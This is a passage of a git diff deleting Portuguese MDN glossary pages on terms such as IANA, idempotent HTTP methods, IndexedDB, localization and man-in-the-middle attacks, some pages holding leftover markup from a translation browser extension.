value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody>
- <tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/glossary/iana/index.html b/files/pt-pt/glossary/iana/index.html
deleted file mode 100644
index 7e876ea547..0000000000
--- a/files/pt-pt/glossary/iana/index.html
+++ /dev/null
@@ -1,19 +0,0 @@
----
-title: IANA
-slug: Glossary/IANA
-tags:
- - Glossário
- - Infraestrutura
-translation_of: Glossary/IANA
-original_slug: Glossário/IANA
----
-<p><strong>IANA </strong>(Internet Assigned Numbers Authority), em português "autoridade para atribuição de números de internet", é uma filial da {{glossary("ICANN")}} reposável pelo registo e / ou atribuição de {{glossary("domain name","nomes de dominio")}}, {{glossary("IP address","endreços IP")}}, e outros nomes e números utilizados pelos {{glossary("protocol","protocolos")}} da Internet.</p>
-
-<h2 id="Aprende_Mais">Aprende Mais</h2>
-
-<h3 id="Conhecimento_geral">Conhecimento geral</h3>
-
-<ul>
- <li><a href="https://www.iana.org/">Site official</a></li>
- <li>{{interwiki("wikipedia", "Internet Assigned Numbers Authority", "IANA")}} no Wikipedia</li>
-</ul>
diff --git a/files/pt-pt/glossary/idempotent/index.html b/files/pt-pt/glossary/idempotent/index.html
deleted file mode 100644
index 354dc28eb7..0000000000
--- a/files/pt-pt/glossary/idempotent/index.html
+++ /dev/null
@@ -1,47 +0,0 @@
----
-title: Idempotent
-slug: Glossary/Idempotent
-translation_of: Glossary/Idempotent
-original_slug: Glossário/Idempotent
----
-<p>Um método HTTP é <strong>idempotente</strong> se, e só se, o mesmo pedido puder ser feito mais do que uma vez, tendo sempre o mesmo resultado e deixando o servidor no mesmo estado. Por outras palavras, um método idempotente não deve ter efeitos secundários. Implementados corretamente, os métodos {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}}, {{HTTPMethod("PUT")}}, and {{HTTPMethod("DELETE")}} são <strong>idempotentes</strong>, mas não o método {{HTTPMethod("POST")}}. Todos os métodos {{glossary("safe")}} também são idempotentes.</p>
-
-<p>Para ser idempotente, apenas o "back-end" do servidor é considerado, sendo que o estado retornado por cada pedido pode diferir: a primeira chamada de {{HTTPMethod("DELETE")}} deve retornar {{HTTPStatus("200")}}, enquanto as sucessivas devem retornar {{HTTPStatus("404")}}. Outra implicação de o {{HTTPMethod("DELETE")}} ser idempotente é que os programadores não devem implementar APIs RESTful com a funcionalidade de <em>apagar última entrada</em> usando o método de <code>DELETE</code>.</p>
-
-<p>É de notar que a idempotência de um método não é garantida pelo servidor e algumas aplicações podem incorretamente violar a constrição de idempotência.</p>
-
-<p><code>GET /pageX HTTP/1.1</code> é idempotente. Com várias chamadas ao servidor, o cliente obtém os mesmos resultados:</p>
-
-<pre>GET /pageX HTTP/1.1
-GET /pageX HTTP/1.1
-GET /pageX HTTP/1.1
-GET /pageX HTTP/1.1
-</pre>
-
-<p><code>POST /add_row HTTP/1.1</code> não é idempotente; com várias chamadas ao servidor, adiciona novas linhas:</p>
-
-<pre>POST /add_row HTTP/1.1
-POST /add_row HTTP/1.1 -&gt; Adiciona uma 2ª linha
-POST /add_row HTTP/1.1 -&gt; Adiciona uma 3ª linha
-</pre>
-
-<p><code>DELETE /idX/delete HTTP/1.1</code> é idempotente, mesmo que o estado de retorno seja diferente entre cada chamada:</p>
-
-<pre>DELETE /idX/delete HTTP/1.1 -&gt; Returns 200 se idX existir
-DELETE /idX/delete HTTP/1.1 -&gt; Returns 404 visto que idX acabou de ser apagado
-DELETE /idX/delete HTTP/1.1 -&gt; Returns 404</pre>
-
-<h2 id="Saber_mais">Saber mais</h2>
-
-<h3 id="Conhecimento_comum">Conhecimento comum</h3>
-
-<ul>
- <li>Definição de "<a href="https://tools.ietf.org/html/rfc7231#section-4.2.2">idempotent</a>" na especificação de HTTP.</li>
-</ul>
-
-<h3 id="Conhecimento_técnico">Conhecimento técnico</h3>
-
-<ul>
- <li>Alguns métodos idempotentes comuns: {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}}, {{HTTPMethod("PUT")}}, {{HTTPMethod("DELETE")}}, {{HTTPMethod("OPTIONS")}}, {{HTTPMethod("TRACE")}}</li>
- <li>Alguns métodos não-idempotentes comuns: {{HTTPMethod("POST")}},{{HTTPMethod("PATCH")}}, {{HTTPMethod("CONNECT")}}</li>
-</ul>
diff --git a/files/pt-pt/glossary/index.html b/files/pt-pt/glossary/index.html
deleted file mode 100644
index c8ee5a0bab..0000000000
--- a/files/pt-pt/glossary/index.html
+++ /dev/null
@@ -1,41 +0,0 @@
----
-title: Glossário
-slug: Glossary
-tags:
- - Beginner
- - Dicionário
- - Glossário
- - Index
- - Landing
- - Terminologia
- - definições
-translation_of: Glossary
-original_slug: Glossário
----
-<div style="width: 44%; float: right; margin: 4px 0 .5em 1em; line-height: 1.4;">{{LearnBox({"title":"Aprenda um termo novo:"})}}</div>
-
-<p class="summary" style="padding-top: 0; border-top-width: 0;"><span class="seoSummary">As tecnologias da Web contêm listas longas de gíria e abreviações que são utilizadas na documentação e programação. Este glossário fornece definições de palavras e abreviações que precisa de saber para compreender e criar para a Web com sucesso.</span></p>
-
-<h2 id="Termos_do_Glossário"><strong>Termos do Glossário</strong></h2>
-
-<p>{{GlossaryList({"split":"h3", "css":"multiColumnList"})}}</p>
-
-<h2 id="Contribua_para_o_glossário">Contribua para o glossário</h2>
-
-<p>Este glossário é um trabalho sem fim e em progresso. Pode ajudar a melhorá-lo, <a href="/pt-PT/docs/MDN/Contribute/Howto/Como_escrever_uma_nova_entrada_no_Glossario">inserindo novas entradas </a>ou melhorando as já existentes. O modo mais fácil para começar é clicar no botão seguinte ou escolher um dos termos sugeridos abaixo.</p>
-
-<p><strong><a href="/pt-PT/docs/new?parent=4391">Adicionar uma nova entrada ao glossário</a></strong></p>
-
-<p>{{GlossaryList({"terms":["at-rule", "ALPN", "Attack", "Byte-Order Mark", "client", "Character set", "cryptosystem", "debug", "digital signature", "execution", "flex-direction", "GLSL", "Interface", "Library", "Memory management", "routers", "Self-Executing Anonymous Function", "Stylesheet", "Vector image"], "filter":"notdefined", "css":"multiColumnList"})}}</p>
-
-<p>Se pretender saber mais sobre como contribuir para o glossário, consulte a <a href="/pt-PT/docs/MDN/Doc_status/Glossary">página do estado da documentação do glossário</a>.</p>
-
-<div class="hidden">
-<h2 id="Subnav">Subnav</h2>
-
-<section id="Quick_Links">
-<ol>
- <li><strong><a href="/pt-PT/docs/Gloss%C3%A1rio">MDN Web Docs - Glossário </a></strong>{{ListSubpagesForSidebar("/pt-PT/docs/Glossary", 1)}}</li>
-</ol>
-</section>
-</div>
diff --git a/files/pt-pt/glossary/indexeddb/index.html b/files/pt-pt/glossary/indexeddb/index.html
deleted file mode 100644
index 362ca5c769..0000000000
--- a/files/pt-pt/glossary/indexeddb/index.html
+++ /dev/null
@@ -1,19 +0,0 @@
----
-title: IndexedDB
-slug: Glossary/IndexedDB
-tags:
- - API
- - Banco de Dados
- - Glossário
- - Sql
-translation_of: Glossary/IndexedDB
-original_slug: Glossário/IndexedDB
----
-<p>IndexedDB é uma {{glossary("API")}} de web para armazenar volumosas estruturas de dados dentro dos navegadores e indexá-los para buscas de alto desempenho. Sendo um <a href="https://en.wikipedia.org/wiki/Relational_database_management_system" title="Sistema de Gerenciamento para Banco de Dados Relacionais">RDBMS</a> baseado em {{glossary("SQL")}}, IndexedDB é um sistema de banco de dados transacionais. Porém ele usa objectos {{glossary("JavaScript")}} ao invés de tabelas em colunas fixas para armazenar os dados.</p>
-
-<h2 id="Aprenda_mais">Aprenda mais</h2>
-
-<ul>
- <li>The {{domxref('IndexedDB_API','IndexedDB API','',1)}} no MDN</li>
- <li><a href="http://w3c.github.io/IndexedDB/">A especificação W3C para o IndexedDB</a></li>
-</ul>
diff --git a/files/pt-pt/glossary/isp/index.html b/files/pt-pt/glossary/isp/index.html
deleted file mode 100644
index dc71c855cd..0000000000
--- a/files/pt-pt/glossary/isp/index.html
+++ /dev/null
@@ -1,22 +0,0 @@
----
-title: ISP
-slug: Glossary/ISP
-tags:
- - Fornecedor de acesso à internet
- - Glossário
- - ISP
- - Web
- - WebMechanics
-translation_of: Glossary/ISP
-original_slug: Glossário/ISP
----
-<p>Um ISP (Fornecedor de Acesso à Internet ou em inglês <em>Internet Service Provider</em>) vende acesso à Internet e, por vezes, e-mail, alojamento Web e voz sobre IP, quer através de uma ligação telefónica (antigamente mais comum), quer através de uma ligação de banda larga, tal como um modem por cabo ou serviço DSL.</p>
-
-<h2 id="Saiba_mais">Saiba mais</h2>
-
-<h3 id="Conhecimento_Geral">Conhecimento Geral</h3>
-
-<ul>
- <li><a href="https://developer.mozilla.org/pt-PT/docs/Learn/Questoes_comuns/Como_funciona_a_Internet">Como a Internet funciona</a> (explicação para iniciantes)</li>
- <li>{{interwiki("wikipedia", "Fornecedor de acesso à internet", "Fornecedor de acesso à internet")}} on Wikipedia</li>
-</ul>
diff --git a/files/pt-pt/glossary/lazy_load/index.html b/files/pt-pt/glossary/lazy_load/index.html
deleted file mode 100644
index f4fa4bec94..0000000000
--- a/files/pt-pt/glossary/lazy_load/index.html
+++ /dev/null
@@ -1,18 +0,0 @@
----
-title: Lazy load
-slug: Glossary/Lazy_load
-tags:
- - Glossário
- - Lazy loading
- - Referencia
- - Web Performance
-translation_of: Glossary/Lazy_load
-original_slug: Glossário/Lazy_load
----
-<p><span class="seoSummary">O <strong>Lazy loading </strong>(carregamento preguiçoso) é uma estratégia que atrasa o carregamento de alguns recursos (por exemplo, imagens) até serem necessários pelo utilizador com base na actividade do utilizador e no seu padrão de navegação; normalmente, estes recursos só são carregados quando são visualizados.</span> Se implementado correctamente, este atraso no carregamento de activos é ininterrupto para a experiência do utilizador e pode ajudar a melhorar o desempenho da carga inicial, incluindo o <em>time to interactive</em>, uma vez que são necessários menos recursos para que a página comece a funcionar.</p>
-
-<h2 id="Consultar_também">Consultar também</h2>
-
-<ul>
- <li><a href="/en-US/docs/Web/Performance/Lazy_loading">Lazy loading</a></li>
-</ul>
diff --git a/files/pt-pt/glossary/localization/index.html b/files/pt-pt/glossary/localization/index.html
deleted file mode 100644
index d22f7537a1..0000000000
--- a/files/pt-pt/glossary/localization/index.html
+++ /dev/null
@@ -1,48 +0,0 @@
----
-title: Localização
-slug: Glossary/Localization
-tags:
- - Colaboração
- - Glossário
- - Introdução
- - Localização
- - Mecânica da Web
-translation_of: Glossary/Localization
-original_slug: Localização
----
-<div><strong>Localização</strong> (l10n) é o processo de adaptar uma interface do utilizador do software para uma cultura específica.
-<p> </p>
-
-<p>O seguinte são fatores comuns a considerar:</p>
-
-<ul>
- <li>idioma</li>
- <li>unidade de medida (por exempo, quilómetros na Europa, milhas nos EUA)</li>
- <li>direção do texto (por exemplo, os idiomas Europeus são esquerda para a direita, Árabe da esquerda para a direita)</li>
- <li>capitalização em <em>script </em>Latim (por exemplo, o inglês utilzia maiúsculas para os dias da semana, espanhol utiliza minúsculas)</li>
- <li>adaptação dos idiomas (por exemplo, "raining cats and dogs" não faz sentido quando traduzido literalmente)</li>
- <li>utilização de <em>register </em>(por exemplo, no discurso respeitoso em japonês difere excecionalmente do discurso casual)</li>
- <li>formato de número (por exemplo, 10 000,00 na Alemanha vs. 10,000.00 nos EUA)</li>
- <li>formato de data</li>
- <li>moeda</li>
- <li>referências culturais</li>
- <li>tamanho do papel</li>
- <li>color psychology</li>
- <li>conformidade com as leis locais</li>
- <li>feriados locais</li>
- <li>nomes pessoais</li>
-</ul>
-
-<h2 id="Saber_mais">Saber mais</h2>
-
-<h3 id="Conhecimento_Geral">Conhecimento Geral</h3>
-
-<ul>
- <li>{{Link("/pt-PT/docs/Mozilla/Localization")}} na MDN</li>
- <li>{{interwiki("wikipedia", "Localização", "Localização")}} na Wikipédia</li>
-</ul>
-
-<p> </p>
-
-<p> </p>
-</div>
diff --git a/files/pt-pt/glossary/main_axis/index.html b/files/pt-pt/glossary/main_axis/index.html
deleted file mode 100644
index 07f9d5b45c..0000000000
--- a/files/pt-pt/glossary/main_axis/index.html
+++ /dev/null
@@ -1,51 +0,0 @@
----
-title: Eixo principal
-slug: Glossary/Main_Axis
-tags:
- - CSS
- - Glossário
- - flexbox
-translation_of: Glossary/Main_Axis
-original_slug: Glossário/Eixo_principal
----
-<p>O eixo principal num {{glossary("flexbox")}} tem a direção definida pela propriedade {{cssxref("flex-direction")}}. Esta propriedade pode ter os seguintes valores:</p>
-
-<ul>
- <li><code>row</code></li>
- <li><code>row-reverse</code></li>
- <li><code>column</code></li>
- <li><code>column-reverse</code></li>
-</ul>
-
-<p>Quando o valor é <code>row</code> ou <code>row-reverse</code> ou eixo principal fica na horizontal, ao longo de cada linha.</p>
-
-<p><img alt="In this image the flex-direction is row which forms the main axis" src="https://mdn.mozillademos.org/files/15708/Basics1.png" style="display: block; height: 152px; margin: 0px auto; width: 522px;"></p>
-
-<p>Quando o valor é <code>column</code> ou <code>column-reverse</code> o eixo principal fica na vertical, ao longo dos blocos.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/15709/Basics2.png" style="display: block; height: 227px; margin: 0px auto; width: 709px;"></p>
-
-<p>No eixo principal pode-se controlar o tamanho dos elementos flexíveis aumentando o espaço disponível para os próprios elementos, através da propriedade <code>flex</code> de cada um. Em alternativa, pode-se controlar o espaço entre/à volta dos elementos com a propriedade <code>justify-content</code>.</p>
-
-<h2 id="Aprender_mais">Aprender mais</h2>
-
-<h3 id="Referência_das_propriedades">Referência das propriedades</h3>
-
-<div class="index">
-<ul>
- <li>{{cssxref("flex-basis")}}</li>
- <li>{{cssxref("flex-direction")}}</li>
- <li>{{cssxref("flex-grow")}}</li>
- <li>{{cssxref("flex-shrink")}}</li>
- <li>{{cssxref("justify-content")}}</li>
- <li>{{cssxref("flex")}}</li>
-</ul>
-</div>
-
-<h3 id="Aprofundar">Aprofundar</h3>
-
-<ul>
- <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Basic Concepts of Flexbox</a></em></li>
- <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container">Aligning items in a flex container</a></em></li>
- <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">Controlling Ratios of flex items along the main axis</a></em></li>
-</ul>
diff --git a/files/pt-pt/glossary/metadata/index.html b/files/pt-pt/glossary/metadata/index.html
deleted file mode 100644
index 118cd4c4cf..0000000000
--- a/files/pt-pt/glossary/metadata/index.html
+++ /dev/null
@@ -1,26 +0,0 @@
----
-title: Metadados
-slug: Glossary/Metadata
-tags:
- - Glossário
- - HTML
- - Programação Scripting
- - metadados
-translation_of: Glossary/Metadata
-original_slug: Glossário/Metadados
----
-<p><strong>Metadados </strong>é — na sua definição mais simples - dados que descrevem dados. Por exemplo, um documento {{glossary("HTML")}} é dados, mas HTML também pode conter metadados no seu elemento {{htmlelement("head")}} que descreve o documento — por exemplo, quem o escreveu, e o seu resumo.</p>
-
-<h2 id="Saber_mais">Saber mais</h2>
-
-<h3 id="Conhecimento_Geral">Conhecimento Geral</h3>
-
-<ul>
- <li>{{interwiki("wikipedia", "metadata", "Metadados")}} na Wikipédia</li>
-</ul>
-
-<h3 id="Metadados_de_HTML">Metadados de HTML</h3>
-
-<ul>
- <li>O elemento {{htmlelement("meta","metadados")}} na MDN</li>
-</ul>
diff --git a/files/pt-pt/glossary/mitm/index.html b/files/pt-pt/glossary/mitm/index.html
deleted file mode 100644
index 8639041f20..0000000000
--- a/files/pt-pt/glossary/mitm/index.html
+++ /dev/null
@@ -1,114 +0,0 @@
----
-title: MitM
-slug: Glossary/MitM
-tags:
- - Glossário
- - Segurança
-translation_of: Glossary/MitM
-original_slug: Glossário/MitM
----
-<p>Um <strong>Ataque Man-in-the-middle </strong>(MitM) interceta uma comunicação entre dois sistemas. Por exemplo, um roteador Wi-Fi pode estar comprometido.</p>
-
-<p>Comparando isto com o correio físico: se estiverem a escrever cartas para cada um, o carteiro pode intercetar cada carta que manda. Eles abrem-na, lêem-na, eventualmente modificam-na, e depois colocam-na numa carta e só então é que a enviam para o seu destinatário . O recipiente original então responderia à carta, e o carteiro abriria-a novamente, lia-a, eventualmente modificava-a, colocava-a num envelope, e a entregaria a si. Não saberia que exisite um "homem no meio" no seu canal de comunicação – o carteiro é invisível para si e para o seu recipiente.</p>
-
-<p>No correio físico e na comunicação on-line, os ataques MITM são difíceis de defender. Algumas dicas:</p>
-
-<ul>
- <li>Não ignore apenas os avisos de certificado. Pode estar a ligar-se a um servidor de <em>phishing</em> ou um a servidor impostor.</li>
- <li>Os sites sensíveis sem encriptação HTTPS nas redes de Wi-Fi públicas não são confiáveis.</li>
- <li>Veja se tem <strong>HTTPS</strong> na sua barra de endereço e assegure que a encriptação está ativada antes iniciar a sessão.</li>
-</ul>
-
-<div>
-<h2 id="Saber_mais">Saber mais</h2>
-
-<ul>
- <li>OWASP - Artigo: ataque <a href="https://www.owasp.org/index.php/Man-in-the-middle_attack">ataque Man-in-the-middle</a> (inglês)</li>
- <li>Wikipedia: <a href="https://pt.wikipedia.org/wiki/Ataque_man-in-the-middle">Ataque Man-in-the-middle</a></li>
- <li>O cabeçalho {{HTTPHeader("Public-Key-Pins")}} ({{Glossary("HPKP")}}) pode reduzir significativamente o risco de MITM, instruindo os navegadores para solicitarem um certificado na 'lista branca' para todas as ligações subseqüentes àquele site da Web.</li>
-</ul>
-</div>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="display: none; opacity: 1;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style=""> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style=""> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody>
- <tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detect language</option><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="am">Amharic</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="be">Belarusian</option><option value="bn">Bengali</option><option value="bs">Bosnian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinese (Simplified)</option><option value="zh-TW">Chinese (Traditional)</option><option value="co">Corsican</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="fy">Frisian</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian Creole</option><option value="ha">Hausa</option><option value="haw">Hawaiian</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="ig">Igbo</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="jw">Javanese</option><option value="kn">Kannada</option><option value="kk">Kazakh</option><option value="km">Khmer</option><option value="ko">Korean</option><option value="ku">Kurdish</option><option value="ky">Kyrgyz</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="lb">Luxembourgish</option><option value="mk">Macedonian</option><option value="mg">Malagasy</option><option value="ms">Malay</option><option value="ml">Malayalam</option><option value="mt">Maltese</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongolian</option><option value="my">Myanmar (Burmese)</option><option value="ne">Nepali</option><option value="no">Norwegian</option><option value="ps">Pashto</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="pa">Punjabi</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sm">Samoan</option><option value="gd">Scots Gaelic</option><option value="sr">Serbian</option><option value="st">Sesotho</option><option value="sn">Shona</option><option value="sd">Sindhi</option><option value="si">Sinhala</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option value="so">Somali</option><option value="es">Spanish</option><option value="su">Sundanese</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="tg">Tajik</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="uz">Uzbek</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="xh">Xhosa</option><option value="yi">Yiddish</option><option value="yo">Yoruba</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="" title="Switch languages"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="am">Amharic</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="be">Belarusian</option><option value="bn">Bengali</option><option value="bs">Bosnian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinese (Simplified)</option><option value="zh-TW">Chinese (Traditional)</option><option value="co">Corsican</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="fy">Frisian</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian Creole</option><option value="ha">Hausa</option><option value="haw">Hawaiian</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="ig">Igbo</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="jw">Javanese</option><option value="kn">Kannada</option><option value="kk">Kazakh</option><option value="km">Khmer</option><option value="ko">Korean</option><option value="ku">Kurdish</option><option value="ky">Kyrgyz</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="lb">Luxembourgish</option><option value="mk">Macedonian</option><option value="mg">Malagasy</option><option value="ms">Malay</option><option value="ml">Malayalam</option><option value="mt">Maltese</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongolian</option><option value="my">Myanmar (Burmese)</option><option value="ne">Nepali</option><option value="no">Norwegian</option><option value="ps">Pashto</option><option value="fa">Persian</option><option value="pl">Polish</option><option selected value="pt">Portuguese</option><option value="pa">Punjabi</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sm">Samoan</option><option value="gd">Scots Gaelic</option><option value="sr">Serbian</option><option value="st">Sesotho</option><option value="sn">Shona</option><option value="sd">Sindhi</option><option value="si">Sinhala</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option value="so">Somali</option><option value="es">Spanish</option><option value="su">Sundanese</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="tg">Tajik</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="uz">Uzbek</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="xh">Xhosa</option><option value="yi">Yiddish</option><option value="yo">Yoruba</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td"> </td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="" title="English"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="" title="Copy translation"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="" title="Font size"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="" title="Help"> </div>
- </td>
- <td class="SL_td">
